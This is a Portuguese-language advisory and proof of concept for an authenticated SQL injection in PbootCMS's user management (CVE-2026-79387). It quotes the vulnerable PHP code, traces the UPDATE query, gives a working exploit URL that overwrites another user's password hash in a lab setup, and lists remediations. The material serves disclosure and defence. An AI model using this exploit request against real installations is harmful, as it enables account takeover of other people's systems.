
Prova de conceito para CVE-2026-79387, uma injeção SQL autenticada no gerenciamento de usuários do PbootCMS que permite atualizações arbitrárias de campos e a tomada de conta.
| Campo | Detalhe |
|---|---|
| ID CVE | CVE-2026-79387 |
| Produto | PbootCMS |
| Versões Afetadas | 3.2.0 – 3.2.5, e possivelmente anteriores |
| Tipo de Vulnerabilidade | Injeção de SQL (CWE-89) |
| Vetor de Ataque | Remoto (Autenticado) |
| Severidade CVSS | Alta |
| Descobridor | JiahaoLi |
| Fornecedor | https://www.pbootcms.com/ |
Existe uma vulnerabilidade de injeção de SQL no módulo de gerenciamento de usuários do PbootCMS V3.2.5. A vulnerabilidade reside no método mod() de /apps/admin/controller/system/UserController.php (linha 149) e no método modUser() de /apps/admin/model/system/UserModel.php.
O parâmetro field é totalmente controlado pelo usuário por meio de uma requisição GET, sem qualquer validação de lista de permissões. O parâmetro value é igualmente controlado pelo usuário e é concatenado diretamente na instrução SQL UPDATE. Um atacante autenticado pode especificar qualquer coluna do banco de dados como field (por exemplo, password, username, status, role), permitindo a manipulação arbitrária de dados.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field e $value são obtidos diretamente da superglobal $_GET e concatenados em uma string SQL sem sanitização, sem whitelist e sem consulta parametrizada. Essa string é então passada para UserModel::modUser(), que a encaminha para o método base Model::update(). Como o argumento é uma string (não um array), ele contorna a validação de nome de campo checkKey() e é incorporado literalmente na cláusula SET:
UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Um atacante autenticado pode:
ucode=10001).value permite escapar com aspas simples, potencialmente permitindo ataques empilhados ou baseados em tautologia.Isto leva à tomada de conta e ao controlo total do backend do CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Aceda ao painel de administração do PbootCMS e inicie sessão com a conta predefinida admin.

Navegue até System Management → User Management → Add User. Crie um novo utilizador:
admin2admin
A lista de utilizadores confirma admin2 com ucode=10002:

Abra uma nova janela do navegador. Tente iniciar sessão como admin2 com a palavra-passe 123456 — isto falha porque a palavra-passe real é admin:

Utilizando o navegador do administrador já autenticado, navegue até:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291é o hash MD5 de123456.
O método mod() executa a injeção e redireciona via location(-1):

Agora tente fazer login com admin2 / 123456:

A senha foi alterada com sucesso via injeção SQL. O usuário agora está logado com a nova senha, confirmando o takeover completo da conta.

Quando update() recebe um argumento do tipo string, ele é usado como está na cláusula SET sem qualquer escape:
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field — permitir apenas nomes de colunas conhecidos (status, username, realname, password).$value para evitar a quebra de aspas.field for password, aplicar encrypt_string() ao valor antes do armazenamento.mod() deve exigir um token CSRF válido e uma verificação de autorização por nível de função.